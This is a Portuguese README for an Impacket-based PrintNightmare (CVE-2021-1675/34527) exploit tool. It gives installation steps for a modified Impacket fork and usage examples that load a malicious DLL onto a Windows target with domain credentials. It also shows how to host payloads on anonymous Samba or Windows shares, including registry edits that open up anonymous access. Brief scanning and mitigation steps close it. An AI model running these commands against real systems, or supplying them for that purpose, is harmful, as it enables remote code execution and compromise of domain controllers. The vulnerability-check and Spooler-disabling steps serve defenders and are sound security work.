thejoyofhacking/cube0x0-cve-2021-1675Impacket-based exploit para CVE-2021-1675/34527 (PrintNightmare) que permite a execução remota ou local de DLL em sistemas Windows vulneráveis, com orientação de varredura e mitigação.
Implementação Impacket do PoC PrintNightmare originalmente criado por Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Testado num Domain Controller 2019 totalmente atualizado
Executa DLLs maliciosas remotamente ou localmente
A Microsoft lançou um patch para mitigar estes ataques, mas se estes valores abaixo estiverem presentes numa máquina, então a máquina continuará vulnerável
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
Antes de executar o exploit, precisas de instalar a minha versão do Impacket e depois disso estás pronto
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
Implementação CVE-2021-1675.
argumentos posicionais:
target [[domain/]username[:password]@]<targetName or address>
share Caminho para a DLL. Exemplo '\\10.10.10.10\share\evil.dll'
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
autenticação:
-hashes LMHASH:NTHASH
Hashes NTLM, formato é LMHASH:NTHASH
ligação:
-target-ip ip address
Endereço IP da máquina alvo. Se omitido, usará o que foi especificado como target. Isto é útil quando o target é o nome NetBIOS
e não consegues resolvê-lo
-port [destination port]
Porta de destino para ligar ao servidor SMB
Exemplo;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
A forma mais fácil de alojar payloads é usar samba e modificar /etc/samba/smb.conf para permitir acesso anónimo
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
A partir do Windows também é possível
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #Isto irá sobrescrever NullSessionPipes existentes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reiniciar
Podemos usar rpcdump.py do impacket para procurar potenciais hosts vulneráveis, se devolver um valor, pode estar vulnerável
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Desativar o serviço Spooler
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f